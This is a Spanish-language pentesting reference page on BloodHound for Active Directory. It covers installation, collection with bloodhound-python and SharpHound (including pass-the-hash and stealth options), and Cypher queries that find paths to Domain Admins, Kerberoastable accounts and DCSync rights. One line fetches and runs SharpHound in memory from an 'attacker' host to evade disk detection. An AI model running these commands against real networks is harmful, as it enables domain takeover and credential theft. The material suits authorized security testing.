bloodhound
BloodHound
Section titled “BloodHound”La herramienta más importante para analizar AD. Visualiza relaciones y permisos en forma de grafo y encuentra rutas de ataque automáticamente.
Instalación
Section titled “Instalación”# BloodHound Community Edition (CE) con Dockergit clone https://github.com/SpecterOps/BloodHoundcd BloodHoundcp examples/docker-compose/docker-compose.yml .docker compose up -d
# Acceder en: http://localhost:8080# Credenciales por defecto: admin / (generadas al iniciar, ver logs)docker compose logs | grep "Initial Password"
# BloodHound legacy (versión 4.x)apt install bloodhoundneo4j console & # Iniciar base de datosbloodhound & # Iniciar appRecolección de datos
Section titled “Recolección de datos”# BloodHound.py (desde Linux — recolector remoto)pip3 install bloodhoundbloodhound-python -u usuario -p contraseña -d empresa.local -ns 10.10.10.10 -c allbloodhound-python -u usuario -p contraseña -d empresa.local -ns 10.10.10.10 -c All,LoggedOn
# Con hash NTLMbloodhound-python -u usuario -H NTHASH -d empresa.local -ns 10.10.10.10 -c all
# SharpHound (desde Windows — más completo).\SharpHound.exe -c All --zipfilename output.zip.\SharpHound.exe -c All,GPOLocalGroup --stealth.\SharpHound.exe -c All --ldapusername usuario --ldappassword contraseña
# SharpHound en memoria (evitar escritura en disco)IEX (New-Object Net.WebClient).DownloadString('http://attacker/SharpHound.ps1')Invoke-BloodHound -CollectionMethod All -ZipFilename output.zipQueries Cypher más útiles
Section titled “Queries Cypher más útiles”// Todos los Domain AdminsMATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@EMPRESA.LOCAL"}) RETURN u
// Ruta más corta a Domain Admins desde un usuarioMATCH p=shortestPath((u:User {name:"USUARIO@EMPRESA.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@EMPRESA.LOCAL"})) RETURN p
// Usuarios con AS-REP RoastableMATCH (u:User {dontreqpreauth:true}) RETURN u
// Usuarios KerberoastableMATCH (u:User {hasspn:true}) RETURN u
// Equipos donde Domain Users son admins localesMATCH p=(g:Group {name:"DOMAIN USERS@EMPRESA.LOCAL"})-[:AdminTo]->(c:Computer) RETURN p
// Cuentas con privilegios de DCSyncMATCH (n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN n
// Permisos sobre Domain AdminsMATCH p=(n)-[:MemberOf|GenericAll|GenericWrite|WriteOwner|WriteDACL|AddMember]->(g:Group {name:"DOMAIN ADMINS@EMPRESA.LOCAL"}) RETURN p
// Computadoras con Unconstrained DelegationMATCH (c:Computer {unconstraineddelegation:true}) RETURN c
// Sesiones activas de Domain AdminsMATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@EMPRESA.LOCAL"})MATCH (u)-[:HasSession]->(c:Computer) RETURN u, c